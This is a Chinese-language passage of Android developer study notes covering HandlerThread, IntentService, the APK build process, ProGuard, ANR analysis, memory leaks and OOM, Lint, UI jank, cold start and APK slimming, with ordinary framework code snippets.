重點(防止線程屢次建立、銷燬):當系統有多個耗時任務須要執行時,每一個任務都會開啓一個新線程去執行耗時任務,這樣會致使系統屢次建立和銷燬線程,從而影響性能。爲了解決這一問題,Google提供了HandlerThread,HandlerThread是在線程中建立一個Looper循環器,讓Looper輪詢消息隊列,當有耗時任務進入隊列時,則不須要開啓新線程,在原有的線程中執行耗時任務便可,不然線程阻塞。 HandlerThread集Thread和Handler之所長,適用於會長時間在後臺運行,而且間隔時間內(或適當狀況下)會調用的狀況,好比上面所說的實時更新。 #### 2. HandlerThread的特色 * HandlerThread本質上是一個線程,繼承自Thread,與線程池不一樣,HandlerThread是一個串行隊列,背後只有一個線程 * HandlerThread有本身的Looper對象,能夠進行Looper循環,能夠建立Handler ```java public class HandlerThread extends Thread { Looper mLooper; private @Nullable Handler mHandler; } ``` * HandlerThread能夠在Handler的handleMessage中執行異步方法,異步不會堵塞,減小對性能的消耗 * HandlerThread缺點是不能同時繼續進行多任務處理,須要等待進行處理,處理效率較低 ### IntentService #### 1. IntentService是什麼 * 重點(本質上也是爲了節省資源) * IntentService是繼承自Service並處理異步請求的一個類,其內部採用HandlerThread和Handler實現的,在IntentService內有一個工做線程來處理耗時操做,其優先級比普通Service高 * 當任務完成後,IntentService會自動中止,而不須要手動調用stopSelf() * 能夠屢次啓動IntentService,每一個耗時操做都會以工做隊列的方式在IntentService中onHandlerIntent()回調方法中執行,而且每次只會執行一個工做線程 #### 2. IntentService使用方法 1. 建立Service繼承自IntentService 2. 覆寫構造方法和onHandlerIntent()方法 3. 在onHandlerIntent()中執行耗時操做 #### 3. IntentService工做原理 * IntentService繼承自Service,內部有一個HandlerThread對象 * 在onCreate的時候會建立一個HandlerThread對象,並啓動線程 * 緊接着建立ServiceHandler對象,ServiceHandler繼承自Handler,用來處理消息。ServiceHandler將獲取HandlerThread的Looper就能夠開始正常工做了 ```java @Override public void onCreate() { super.onCreate(); HandlerThread thread = new HandlerThread("IntentService[" + mName + "]"); thread.start(); mServiceLooper = thread.getLooper(); mServiceHandler = new ServiceHandler(mServiceLooper); } ``` * 每啓動一次onStart方法,就會把數消息和數據發給mServiceHandler,至關於發送了一次Message消息給HandlerThread的消息隊列。 ```java @Override public void onStart(@Nullable Intent intent, int startId) { Message msg = mServiceHandler.obtainMessage(); msg.arg1 = startId; msg.obj = intent; mServiceHandler.sendMessage(msg); } ``` * mServiceHandler會把數據傳給onHandleIntent方法,onHandleIntent是個抽象方法,須要在IntentService實現,因此每次onStart方法以後都會調用咱們本身寫的onHandleIntent方法去處理。處理完畢使用stopSelf通知HandlerThread已經處理完畢,HandlerThread繼續觀察消息隊列,若是還有未執行玩的message則繼續執行,不然結束。 ```java private final class ServiceHandler extends Handler { public ServiceHandler(Looper looper) { super(looper); } @Override public void handleMessage(Message msg) { onHandleIntent((Intent)msg.obj); stopSelf(msg.arg1); } } ``` ### Android項目構建過程 下圖展現了從一個Android項目構建出一個帶有簽名、對齊操做的APK包的完整過程(省略了代碼混淆過程、NDK的編譯過程): ![Android項目構建過程](https://upload-images.jianshu.io/upload_images/2570030-10dfe75bfac561df.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 下面是具體描述: 1. AAPT(Android Asset Packaging Tool)工具會打包應用中的資源文件,如AndroidManifest.xml、layout佈局中的xml等,並將xml文件編譯爲二進制形式,固然assets文件夾中的文件不會被編譯,圖片及raw文件夾中的資源也會保持原來的形態,須要注意的是raw文件夾中的資源也會生成資源id。AAPT編譯完成以後會生成R.java文件。 2. AIDL工具會將全部的aidl接口轉化爲java接口。 3. 全部的java代碼,包括R.java與aidl文件都會被Java編譯器編譯成.class文件。 4. 若是開啓了混淆,Proguard工具會將上述產生的.class文件及第三庫及其餘.class(包括android.jar)等文件進行混淆操做。 5. Dex工具會將全部須要的.class文件編譯成.dex文件(dex文件是虛擬機能夠執行的格式),dex文件最終會被打包進APK文件。 6. ApkBuilder工具會將編譯過的資源及未編譯過的資源(如圖片等)以及.dex文件、NDK工具編譯出的.so文件等打包成APK文件。 7. 生成APK文件後,須要對其簽名纔可安裝到設備,平時測試時會使用debug keystore,當正式發佈應用時必須使用release版的keystore對應用進行簽名。 8. 若是對APK正式簽名,還須要使用zipalign工具對APK進行對齊操做,這樣作的好處是當應用運行時會提升速度,可是相應的會增長內存的開銷。 詳細版本以下: ![Android項目構建過程(詳細版)](https://upload-images.jianshu.io/upload_images/2570030-3f527a7d770f308e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ### 代碼混淆 #### 1. 代碼混淆及其優勢 ##### 代碼混淆的過程 混淆實際上是包括了代碼壓縮、代碼混淆以及資源壓縮等的優化過程。 ![代碼混淆過程](https://upload-images.jianshu.io/upload_images/2570030-fa2fa6a208c46439.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 這四個流程默認開啓,在Android項目中咱們能夠選擇將「優化」和「預校驗」關閉: 1. 壓縮。移除無效的類、類成員、方法、屬性等; 2. 優化。分析和優化方法的二進制代碼;根據proguard-android-optimize.txt中的描述,優化可能會形成一些潛在風險,不能保證在全部版本的Dalvik上都正常運行。 3. 混淆。把類名、屬性名、方法名替換爲簡短且無心義的名稱; 4. 預校驗。添加預校驗信息。這個預校驗是做用在Java平臺上的,Android平臺上不須要這項功能,去掉以後還能夠加快混淆速度。 ##### 代碼混淆的優勢 代碼混淆的優勢以下: * ProGuard混淆流程將檢測主項目以及依賴庫中未被使用的類、類成員、方法、屬性並移除,這有助於規避64K方法數的瓶頸 * 將類、類成員、方法重命名爲無心義的簡短名稱,增長了逆向工程的難度(因爲Java是一門跨平臺的解釋性語言,其源代碼被編譯成class字節碼來適應其餘平臺,而class文件包含了Java源代碼信息,很容易被反編譯) * 移除未被使用的資源,能夠有效減少apk安裝包大小 #### 2. 代碼混淆操做、調試步驟 1. 開啓混淆、開啓資源壓縮 ```java android { buildTypes { release { minifyEnabled true shrinkResources true proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' } } } ``` 2. 在proguard-rules.pro添加自定義混淆規則 * 第三方庫所需的混淆規則。正規的第三方庫通常都會在接入文檔中寫好所需混淆規則,使用時注意添加。 * 在運行時動態改變的代碼,例如反射。比較典型的例子就是會與 json 相互轉換的實體類。假如項目命名規範要求實體類都要放在model包下的話,能夠添加相似這樣的代碼把全部實體類都保持住: ```java -keep public class **.*Model*.** {*;} ``` * JNI中調用的類。 * WebView中JavaScript調用的方法 * Layout佈局使用的View構造函數、android:onClick等。 3. 檢查混淆結果,避免因混淆引入的bug。一方面,須要從代碼層面檢查。使用上文的配置進行混淆打包後在 <module-name>/build/outputs/mapping/release/ 目錄下會輸出如下文件: * dump.txt:描述APK文件中全部類的內部結構 * mapping.txt:提供混淆先後類、方法、類成員等的對照表 * seeds.txt:列出沒有被混淆的類和成員 * usage.txt:列出被移除的代碼 gi 4. 開啓代碼混淆後的調試 ```bash retrace.bat|retrace.sh [-verbose] mapping.txt [<stacktrace_file>] ``` #### 3. 代碼混淆的工做原理 ProGuard過程當中將無用的字段或方法存入到EntryPoint中,將非EntryPoint的字段和方法進行替換,其中Entry Point是在ProGuard過程當中不會被處理的類或方法。詳細描述以下: 1. 在壓縮的步驟中,ProGuard會從上述的Entry Point開始遞歸遍歷,搜索哪些類和類的成員在使用,對於沒有被使用的類和類的成員,就會在壓縮段丟棄。 2. 在接下來的優化過程當中,那些非Entry Point的類、方法都會被設置爲private、static或final,不使用的參數會被移除,此外,有些方法會被標記爲內聯的。 3. 在混淆的步驟中,ProGuard會對非Entry Point的類和方法進行重命名。 #### 4. 參考文章 [寫給Android開發者的混淆使用手冊](https://www.jianshu.com/p/158aa484da13) ### 持續集成 #### 1. 持續集成的基本概念 * 持續集成(Continuous Integration),持續集成是一種軟件開發實踐,經過自動化的構建(包括編譯、發佈和自動化測試)來驗證,從而幫助儘快發現集成錯誤。 * 持續集成一直被認爲是敏捷開發的重要實踐之一,也是提高軟件質量的重要手段。特別在團隊協做開發中,爲項目添加持續集成仍是很是有必要的,確保了任什麼時候間、任何地點生成可部署的軟件。 #### 2. Jenkins+Git+Gradle實現持續集成 1. 安裝Jenkins,安裝須要的插件(好比說git插件、Gradle插件),配置JDK,Git,Gradle等編譯環境 2. 建立新的Jenkins項目,配置Git代碼倉庫地址、配置構建時的Gradle版本,和須要執行的Gradle Task 3. 配置Jenkins項目的構建參數,好比Gradle Task的參數、渠道參數 4. 配置郵件通知 5. 開始構建 #### 3. 參考文章 [Android Jenkins+Git+Gradle持續集成-實在太詳細](https://www.jianshu.com/p/38b2e17ced73) ### ANR #### 1. ANR是什麼 Android中,主線程(UI線程)若是在規定時內沒有處理完相應工做,就會出現ANR(Application Not Responding),彈出頁面無響應的對話框。 #### 2. ANR分類 1. Activity的輸入事件(按鍵和觸摸事件)5s內沒被處理: Input event dispatching timed out 2. BroadcastReceiver的事件(onReceive方法)在規定時間內沒處理完(前臺廣播爲10s,後臺廣播爲60s): Timeout of broadcast BroadcastRecord 3. Service在規定時間內(前臺20s/後臺200s)未響應: Timeout executing service 4. ContentProvider的publish在10s內沒進行完: Timeout publishing content providers #### 3. ANR的核心緣由 * 主線程在作一些耗時的工做 * 主線程被其餘線程鎖 * cpu被其餘進程佔用,該進程沒被分配到足夠的cpu資源。 #### 4. ANR的原理 1. 在進行相關操做調用Handler.sendMessageAtTime()發送一個ANR的消息,延時時間爲ANR發生的時間(如前臺Service是當前時間20s以後)。 2. 進行相關的操做 3. 操做結束後向remove掉該條Message。 4. 若是相關的操做在規定時間沒有執行完成,該條Message將被Handler取出並執行,就發生了ANR,而且由系統彈出ANR的彈窗。 #### 5. ANR的分析方法(主要是分析是否有死鎖、經過調用棧定位耗時操做、系統資源狀況) 1. 從/data/anr/traces.txt中找到ANR反生的信息:能夠從log中搜索「ANR in」或「am_anr」,會找到ANR發生的log,該行會包含了ANR的時間、進程、是何種ANR等信息,若是是BroadcastReceiver的ANR能夠懷疑BroadCastReceiver.onReceive()的問題,若是的Service或Provider就懷疑是否其onCreate()的問題。 2. 在該條log以後會有CPU usage的信息,代表了CPU在ANR先後的用量(log會代表截取ANR的時間),從各類CPU Usage信息中大概能夠分析以下幾點: * 若是某些進程的CPU佔用百分比較高,幾乎佔用了全部CPU資源,而發生ANR的進程CPU佔用爲0%或很是低,則認爲CPU資源被佔用,進程沒有被分配足夠的資源,從而發生了ANR。這種狀況多數能夠認爲是系統狀態的問題,並非由本應用形成的。 * 若是發生ANR的進程CPU佔用較高,如到了80%或90%以上,則能夠懷疑應用內一些代碼不合理消耗掉了CPU資源,如出現了死循環或者後臺有許多線程執行任務等等緣由,這就要結合trace和ANR先後的log進一步分析了。 * 若是CPU總用量不高,該進程和其餘進程的佔用太高,這有必定機率是因爲某些主線程的操做就是耗時過長,或者是因爲主進程被鎖形成的。 3. 除了上述的狀況1之外,分析CPU usage以後,肯定問題須要咱們進一步分析trace文件。trace文件記錄了發生ANR先後該進程的各個線程的stack。對咱們分析ANR問題最有價值的就是其中主線程的stack,通常主線程的trace可能有以下幾種狀況: * 主線程是running或者native而對應的棧對應了咱們應用中的函數,則頗有可能就是執行該函數時候發生了超時。 * 主線程被block:很是明顯的線程被鎖,這時候能夠看是被哪一個線程鎖了,能夠考慮優化代碼。若是是死鎖問題,就更須要及時解決了。 * 因爲抓trace的時刻頗有可能耗時操做已經執行完了(ANR -> 耗時操做執行完畢 ->系統抓trace)。 #### 6. 如何避免ANR的方法(常見場景) 1. 主線程避免執行耗時操做(文件操做、IO操做、數據庫操做、網絡訪問等): Activity、Service(默認狀況下)的全部生命週期回調 BroadcastReceiver的onReceive()回調方法 AsyncTask的回調除了doInBackground,其餘都是在主線程中 沒有使用子線程Looper的Handler的handlerMessage,post(Runnable)都是執行在主線程中 2. 儘可能避免主線程的被鎖的狀況,在一些同步的操做主線程有可能被鎖,須要等待其餘線程釋放相應鎖才能繼續執行,這樣會有必定的死鎖、從而ANR的風險。對於這種狀況有時也能夠用異步線程來執行相應的邏輯。 #### 7. 參考文章 [Android ANR問題總結](https://www.jianshu.com/p/fa962a5fd939) ### 內存管理 #### 1. 內存管理的兩大核心與目標 ##### 內存管理的兩大核心 * 內存分配機制 * 內存回收機制 ##### 內存管理的目標 * 更少的佔用內存,讓更多的進程存活在內存當中 * 在合適的時候,合理的釋放系統資源,保證新的進程可以被建立合分配內存(注意這裏沒有說是當即釋放,由於頻繁的建立釋放會形成內存抖動) * 在系統內存緊張的時候,能釋放掉大部分不重要的資源 * 能合理的在特殊生命週期中,保存或還原重要數據 #### 2. Android中內存管理機制的特色 * Android系統是基於Linux 2.6內核開發的開源操做系統,而linux系統的內存管理有其獨特的動態存儲管理機制。 * Android系統對Linux的內存管理機制進行了優化。 * Android分配機制上面的優化: * Android會爲每一個進程分配一個初始內存大小heapstartsiz(初始分配小內存,使得系統運行更多的進程) * 當應用須要大內存的時候,繼續分配更多的內存,最大限制爲heapgrowthlimit,不然觸發OOM * Android內存回收機制上面的優化: * Linux系統會在進程活動中止後就結束該進程;Android把這些進程都保留在內存中,直到系統須要更多內存爲止。這些保留在內存中的進程一般狀況下不會影響總體系統的運行速度,而且當用戶再次激活這些進程時,提高了進程的啓動速度。 * Android會根據進程的內存佔用、進程優先級等方面,採用LRU算法進行回收 #### 3. 常見的內存問題的相關概念 * 內存溢出:指程序在申請內存時,沒有足夠的空間供其使用 * 內存泄漏:指程序分配出去的內存再也不使用,沒法進行回收 * 內存抖動:指程序短期內大量建立對象,而後回收的現象 #### 4. 參考文章 [Android內存管理機制](https://blog.csdn.net/l_215851356/article/details/78635431) [淺談Android內存管理](http://www.cnblogs.com/lianghe01/p/6617275.html) ### 內存泄漏 #### 1. 什麼是內存泄漏 內存泄漏是一個對象已經不須要再使用了,可是由於其它的對象持有該對象的引用,致使它的內存不能被垃圾回收器回收。內存泄漏的慢慢積累,最終會致使OOM的發生。 #### 2. 內存泄漏的主要緣由 長生命週期的對象持有短生命週期對象的引用就極可能發生內存泄漏。(短生命週期的對象不能被正確回收) #### 3. Java內存分配策略 * 靜態存儲區(方法區):主要存儲全局變量和靜態變量,在整個程序運行期間都存在 * 棧區:方法體的局部變量會在棧區建立空間,並在方法執行結束後會自動釋放變量的空間和內存 * 堆區:保存動態產生的數據,如:new出來的對象和數組,在不使用的時候由Java回收器自動回收 #### 4. 常見的內存泄漏及其解決方案 * 單例形成的內存泄漏:在單例中,使用context.getApplicationContext()做爲單例的context * 匿名內部類形成的內存泄漏:因爲非靜態內部類持有匿名外部類的引用,必須將內部類設置爲static、或者使用弱引用 * Handler形成的內存泄漏:使用static的Handler內部類,同時在實現內部類中持有Context的弱引用 * 避免使用static變量:因爲static變量會跟Activity生命週期一致,當Activity退出後臺被後臺回收時,static變量是不安全,因此也要管理好static變量的生命週期 * 資源未關閉形成的內存泄漏:好比Socket、Broadcast、Cursor、Bitmap、ListView、集合容器等,使用完後要關閉 * AsyncTask形成的內存泄漏:因爲非靜態內部類持有匿名內部類的引用而形成內存泄漏,能夠經過AsyncTask內部持有外部Activity的弱引用同時改成靜態內部類或在onDestroy()中執行AsyncTask.cancel()進行修復 * WebView形成的內存泄漏:頁面銷燬的時候WebView須要正確移除而且調用其destroy方法 #### 5. LeakCanary檢測內存泄漏核心原理 1. 給可被回收的對象上打了智能標記(弱引用,Key-Value的形式)。 2. 監聽Activity的生命週期。 3. 若是Activity銷燬以後過一小段時間對象依然沒有被釋放,就會給內存作個快照(Dump Memory),而且導出到本地文件。 4. 經過讀取、分析這個heap dump文件:根據Key用SQL語句去查詢數據庫,而且計算出最短的GC root路徑,從而找出阻止該對象釋放的那個對象。 5. 經過UI(Debug版本是Notification)的形式把分析結果報告給開發者。 #### 6. 參考文章 [常見的內存泄漏緣由及解決方法](https://www.jianshu.com/p/90caf813682d) [用 LeakCanary 檢測內存泄漏](https://academy.realm.io/cn/posts/droidcon-ricau-memory-leaks-leakcanary/) [InputMethodManager.mLastSrvView memory leak in Android6.0 with huawei mobile phone #572](https://github.com/square/leakcanary/issues/572) ### 內存溢出 #### 1. 內存溢出是什麼? OOM指Out of memory(內存溢出),當前佔用內存 + 咱們申請的內存資源 超過了虛擬機的最大內存限制就會拋出Out of memory異常。 #### 2. 應用的內存限制與申請大內存 * Android虛擬機對單個應用的最大內存分配值定義在/system/build.prop文件中 ```java //堆分配的初始大小,它會影響到整個系統對RAM的使用程度,和第一次使用應用時的流暢程度。它值越小,系統ram消耗越慢,但一些較大應用一開始不夠用,須要調用gc和堆調整策略,致使應用反應較慢。它值越大,這個值越大系統ram消耗越快,可是應用更流暢。 dalvik.vm.heapstartsize=xxxm //單個應用可用最大內存。最大內存限制主要針對的是這個值,它表示單個進程內存被限定在xxxm,即程序運行過程當中實際只能使用xxxm內存,超出就會報OOM。(僅僅針對dalvik堆,不包括native堆) dalvik.vm.heapgrowthlimit=xxxm //單個進程可用的最大內存,但若是存在heapgrowthlimit參數,則以heapgrowthlimit爲準。heapsize表示不受控狀況下的極限堆,表示單個虛擬機或單個進程可用的最大內存。 dalvik.vm.heapsize=xxxm ``` ```java ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); int memoryClass = am.getMemoryClass(); ``` * 每開一個應用就會打開一個獨立的虛擬機(這樣設計就會在單個程序崩潰的狀況下不會致使整個系統的崩潰) * 在android開發中,若是要使用大堆,須要在manifest中指定android:largeHeap爲true,這樣dvm heap最大可達heapsize。儘可能少使用large heap。使用額外的內存會影響系統總體的用戶體驗,而且會使得GC的每次運行時間更長。在任務切換時,系統的性能會變得大打折扣。 #### 3. 內存優化-常見內存溢出及其解決方案 * 解決應用中的內存泄漏問題。 * 圖片:正確縮放、壓縮、解碼、回收。 * 在UI不可見的時候,適當釋放其UI資源。 * 列表控件:重用convertView、使用LRU緩存算法、滾動的時候進行監聽,此時不該該加載圖片。 * View:避免在onDraw方法中建立對象。 * 謹慎使用多進程:使用多進程能夠把應用中的部分組件運行在單獨的進程當中,這樣能夠擴大應用的內存佔用範圍,可是這個技術必須謹慎使用,使用多進程會使得代碼邏輯更加複雜,使用不當可能反而會致使顯著增長內存。當應用須要運行一個常駐後臺的任務,並且這個任務並不輕量,能夠考慮使用這個技術。 * 使用更加輕量的數據結構。例如,咱們能夠考慮使用ArrayMap/SparseArray而不是HashMap等傳統數據結構。 * 避免在Android裏面使用Enum,而用靜態常量代替。(由於枚舉的內存消耗是靜態常量的兩倍左右) * 字符串拼接:在有些時候,代碼中會須要使用到大量的字符串拼接的操做,這種時候有必要考慮使用StringBuilder來替代頻繁的「+」。 * Try catch某些大內存分配的操做。 * 資源文件須要選擇合適的文件夾進行存放。hdpi/xhdpi/xxhdpi等等不一樣dpi的文件夾下的圖片在不一樣的設備上會通過scale的處理,拉伸以後內存消耗更大。對於不但願被拉伸的圖片,須要放到assets或者nodpi的目錄下。 * 在onLowMemory()與onTrimMemory()中適當釋放內存。 * 珍惜Services資源。若是你的應用須要在後臺使用service,除非它被觸發並執行一個任務,不然其餘時候Service都應該是中止狀態。另外須要注意當這個service完成任務以後由於中止service失敗而引發的內存泄漏。建議使用IntentService。 * 優化佈局層次,減小內存消耗。越扁平化的視圖佈局,佔用的內存就越少,效率越高。 * 謹慎使用依賴注入框架:使用以後,代碼是簡化了很多。然而,那些注入框架會經過掃描你的代碼執行許多初始化的操做,這會致使你的代碼須要大量的內存空間來mapping代碼,並且mapped pages會長時間的被保留在內存中。 * 使用ProGuard來剔除不須要的代碼,經過移除不須要的代碼,重命名類,域與方法等等對代碼進行壓縮,優化與混淆。使得代碼更加緊湊,可以減小mapping代碼所須要的內存空間。 * 謹慎使用第三方libraries。不少開源的library代碼都不是爲移動網絡環境而編寫的,若是運用在移動設備上,並不必定適合。即便是針對Android而設計的library,也須要特別謹慎,特別是若是你知道引入的library具體作了什麼事情的時候。 * 考慮不一樣的實現方式、方案、策略來優化內存佔用。 #### 4. 參考文章 [Android 性能優化(內存之OOM)](https://www.jianshu.com/p/d8aee86463ad) [Android 查看每一個應用的最大可用內存](http://www.cnblogs.com/onelikeone/p/7112184.html) ### Lint與代碼優化工具 #### 1. 什麼是Lint? Android Lint是一個靜態代碼分析工具,可以對檢測代碼質量——對項目中潛在的Bug、可優化的代碼、安全性、性能、可用性、可訪問性、國際化等進行檢查(注:Lint檢測不侷限於代碼,功能十分強大)。 經過下面的gradle命令開啓Lint: ```bash ./gradlew lint ``` #### 2. Lint的工做流程 ![lint](https://upload-images.jianshu.io/upload_images/2570030-a17d5937d178e83a.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) * App項目源文件:包括Java代碼,XML代碼,圖標,以及ProGuard配置文件、Git忽略文件等 * lint.xml:Lint 檢測的執行標準配置文件,咱們能夠修改它來容許或者禁止報告一些問題 * Lint工具按照標準配置文件中指定的規則去檢測App項目源文件,發現問題,而且進行報告。常見的問題有: * Correctness:不夠完美的編碼,好比硬編碼、使用過期API等 * Performance:對性能有影響的編碼,好比:靜態引用,循環引用等 * Internationalization:國際化,直接使用漢字,沒有使用資源引用等,適配國際化的時候資源漏翻譯 * Security:不安全的編碼,好比在WebView中容許使用JavaScriptInterface等 * … #### 3. 忽略Lint警告 * Java代碼中忽略Lint警告:使用註解。註解跟@SuppressWarnings很相似,@SuppressLint(「忽略的警告名稱」),若是不清楚警告名稱,直接寫all表示忽略全部警告 * XML代碼中忽略Lint警告:使用 tools:ignore=」忽略的警告名」 #### 4. Debug構建中關閉Lint檢測 執行Gradle命令的時候,經過-x參數不執行某個action ```bash ./gradlew build -x lint ``` #### 5. 自定義Lint * 建立lint.xml到根目錄下,能夠自定義Lint安全等級、忽略文件等 * 自定義Lint檢查規則(好比日誌不經過LogUtils打印則警告): 1. 依賴Android官方的lint的庫 2. 建立類繼承Detector,實現一些規則 3. 而且提供IssueRegistry向外提供Detector註冊彙總信息 4. 輸出jar包或者aar包,主項目進行依賴 5. 進行lint檢測便可 #### 6. 一些其餘的代碼優化工具 * KW(Klockwork)掃描工具(這個工具須要受權才能使用,屬於動態檢測,依賴項目編譯生成的文件。目前仍是存在一些BUG,好比空指針的檢測、IO流的關閉檢測等) * 阿里巴巴的編碼規約掃描工具(IDEA的一個插件) * Uber的NullAway空指針掃描工具(空指針的檢測工具,接入比較麻煩) * …… #### 7. 參考文章 [Android 性能優化:使用 Lint 優化代碼、去除多餘資源](https://blog.csdn.net/u011240877/article/details/54141714) [Android工具:被你忽視的Lint](https://blog.csdn.net/p106786860/article/details/54187138) [自動規避代碼陷阱——自定義Lint規則](https://blog.csdn.net/chzphoenix/article/details/78895106) [Android Lint](https://www.jianshu.com/p/b4c44e62d652) [美團點評技術團隊-Android自定義Lint實踐2——改進原生Detector](https://tech.meituan.com/android_custom_lint2.html) [美團自定義Lint示例](https://github.com/GavinCT/MeituanLintDemo) [Writing a Lint Check](http://tools.android.com/tips/lint/writing-a-lint-check) [Idea 阿里代碼規約插件安裝](https://blog.csdn.net/fuzhongyu2/article/details/78263317) [使用Klockwork進行代碼分析簡單操做流程](https://blog.csdn.net/zm_21/article/details/34417651) [NullAway:Uber用於檢測Android上的NullPointerExceptions的開源工具](https://juejin.im/entry/59fa9e52f265da43215360ba) ### UI卡頓優化 #### 1. UI卡頓原理 View的繪製幀數保持60fps是最佳,這要求每幀的繪製時間不超過16ms(1000/60),若是安卓不能在16ms內完成界面的渲染,那麼就會出現卡頓現象。而UI的繪製在主線程中進行的,所以UI卡頓本質上就是主線程卡頓。 #### 2. UI卡頓常見緣由及其解決方案 * 佈局Layout過於複雜,沒法在16ms內完成渲染。 * 過分繪製overDraw,致使像素在同一幀的時間內被繪製屢次,使CPU和GPU負載太重。 * View頻繁的觸發measure、layout,致使measure、layout累計耗時過多和整個View頻繁的從新渲染。 佈局優化 * 經過開發者工具檢查過分繪製 * 使用include複用佈局、使用ViewStub延遲加載佈局、使用merge減小代碼層級、使用RelativeLayout也能大大減小視圖的層級、慎重設置總體背景顏色防止過分繪製 * 使用自定義View取代複雜的View * 使用TraceView工具檢測UI卡頓、方法耗時 * 在UI線程中作輕微的耗時操做,致使UI線程卡頓:應該把耗時操做放在子線程中進行。 * 同一時間動畫執行的次數過多,致使CPU和GPU負載太重。 * 頻繁的觸發GC操做致使線程暫停、內存抖動,會使得安卓系統在16ms內沒法完成繪製:能夠考慮使用享元模式、避免在onDraw方法中建立對象等。 * 冗餘資源及邏輯等致使加載和執行緩慢。 * UI卡頓最嚴重的後果是ANR,所以須要在開發中避免和解決ANR問題。 * 列表控件滑動卡頓:複用convertView、滑動不進行加載、使用壓縮圖片、加載縮略圖等。 #### 3. BlockCanary及其原理 BlockCanary會在發生卡頓的時候記錄各類信息,輸出到配置目錄下的文件,並彈出消息欄通知,輕鬆找出Android App界面卡頓元兇。 BlockCanary的核心原理是:經過Android的消息機制在mainLooperPrinter中判斷start和end,來獲取主線程dispatch該message的開始和結束時間,並斷定該時間超過閾值(如2000毫秒)爲主線程卡慢發生,並dump出各類信息,提供開發者分析性能瓶頸。 ![BlockCanary](https://upload-images.jianshu.io/upload_images/2570030-3ab7447b171dd42a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 核心代碼以下: ```java Looper.getMainLooper().setMessageLogging(mainLooperPrinter); @Override public void println(String x) { if (!mStartedPrinting) { mStartTimeMillis = System.currentTimeMillis(); mStartThreadTimeMillis = SystemClock.currentThreadTimeMillis(); mStartedPrinting = true; } else { final long endTime = System.currentTimeMillis(); mStartedPrinting = false; if (isBlock(endTime)) { notifyBlockEvent(endTime); } } } private boolean isBlock(long endTime) { return endTime - mStartTimeMillis > mBlockThresholdMillis; } ``` #### 4. 參考文章 [BlockCanary — 輕鬆找出Android App界面卡頓元兇](http://blog.zhaiyifan.cn/2016/01/16/BlockCanaryTransparentPerformanceMonitor/) ### 冷啓動與熱啓動 #### 1. 冷啓動與熱啓動是什麼? * 冷啓動:當啓動應用時,後臺沒有該應用的進程,這時系統會從新建立一個新的進程分配給該應用,這個啓動方式就是冷啓動。 冷啓動大體流程:實例化Application -> 實例化入口Activity -> 顯示Activity(配置主題中背景等屬性 -> 顯示測量佈局繪製最終顯示在界面上) * 熱啓動:當啓動應用時,後臺已有該應用的進程,因此在已有進程的狀況下,這種啓動會從已有的進程中來啓動應用,這個方式叫熱啓動。(例:按back鍵、home鍵,應用雖然會退出,可是該應用的進程是依然會保留在後臺,可進入任務列表查看) 熱啓動大體流程(不須要實例化Application):實例化入口Activity -> 顯示Activity #### 2. 應用啓動時間測量 * 使用命令 ```bash adb shell am start -W [packageName]/[packageName.XXXActivity] ``` * 使用Activity.reportFullyDrawn在Logcat中打印出來,例子: ```log ActivityManager: Displayed com.android.myexample/.StartupTiming: +3s534ms ``` * 使用TraceView精確測量(TraceView工具能夠檢測UI卡頓、方法耗時) ```java // start tracing to "/sdcard/calc.trace" Debug.startMethodTracing("calc"); // ... // stop tracing Debug.stopMethodTracing(); ``` * 使用高速攝像機進行抓幀 #### 3. 冷啓動優化常見方案 * 經過懶加載方式初始化第三方SDK,能夠嘗試在閃屏Activity中加載 * 不要在mainThread中加載資源 * 減小第一個界面onCreate()方法的工做量 * 不要讓Application參與業務的操做、耗時操做 * 不要以靜態變量的方式在Application中保存數據 * 減小布局的複雜性和深度 #### 4. 解決冷啓動白/黑屏問題的兩種方案 * 設置要啓動的Activity主題爲透明,能夠給用戶形成一個視覺上的假象,例如: ```xml <style name="AppTransparentTheme" parent="Theme.AppCompat.Light.NoActionBar.Fullscreen"> <item name="android:windowIsTranslucent">true</item> <item name="android:windowBackground">@android:color/transparent</item> </style> ``` * 爲要啓動的Activity設置主題爲一張背景圖,例如: ```xml <style name="AppBackgroundTheme" parent="Theme.AppCompat.Light.NoActionBar.Fullscreen"> <item name="android:windowBackground">@mipmap/bg_welcome</item> </style> ``` #### 5. 參考文章 [Android Study 之冷啓動優化(解決啓動短暫白屏or黑屏)](https://blog.csdn.net/u012400885/article/details/65727780) [Android冷啓動實現APP秒開](https://www.jianshu.com/p/03c0fd3fc245) [Android 性能優化 冷啓動速度優化](https://blog.csdn.net/u014099894/article/details/53411181) ### APK瘦身 #### 1. APK文件的組成 直接在Android Studio中打開APK文件,經過APK分析器,能夠看到APK文件的組成成分與比例(其實是調用AAPT工具的功能): ![APK組成](https://upload-images.jianshu.io/upload_images/2570030-86d853d513fa3a9e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) * asserts:存放一些配置文件或資源文件,好比WebView的本地html,React Native的jsbundle等 * lib:lib目錄下會有各類so文件,分析器會檢查出項目本身的so和各類庫的so。 * resources.arsc:編譯後的二進制資源文件,裏面是id-name-value的一個Map。 * res:res目錄存放的是資源文件。包括圖片、字符串。raw文件夾下面是音頻文件,各類xml文件等等。 * dex:dex文件是Java代碼打包後的字節碼,一個dex文件最多隻支持65536個方法,開啓了dex分包的話會有多個。 * META-INF:META-INF目錄下存放的是簽名信息,分別是MANIFEST.MF、CERT.SF、CERT.RSA。用來保證apk包的完整性和系統的安全性,幫助用戶避免安裝來歷不明的盜版APK。 * AndroidManifest.xml:Android清單文件。 #### 2. 常見APK瘦身方案 * 優化assets * 資源動態下載,字體、js代碼這樣的資源能動態下載的就作動態下載,雖然複雜度提升,可是實現了動態更新 * 壓縮資源文件,用到的時候再進行解壓 * 刪除沒必要要的字體文件中的字體 * 減小圖標字體(Icon-Font)的使用,多用SVG代替 * 優化lib * 配置abiFilters精簡so動態庫,而已根據需求保留須要的平臺 ```java defaultConfig { //armeabi是必須包含的,v7是一個圖形增強版本,x86是英特爾平臺的支持庫 ndk { abiFilters "armeabi", "armeabi-v7a" ,"x86" } } ``` * 統計分析用戶手機的cpu類型,排除沒有或少許用戶纔會用到的so * 優化resources.arsc * 刪除沒必要要的string 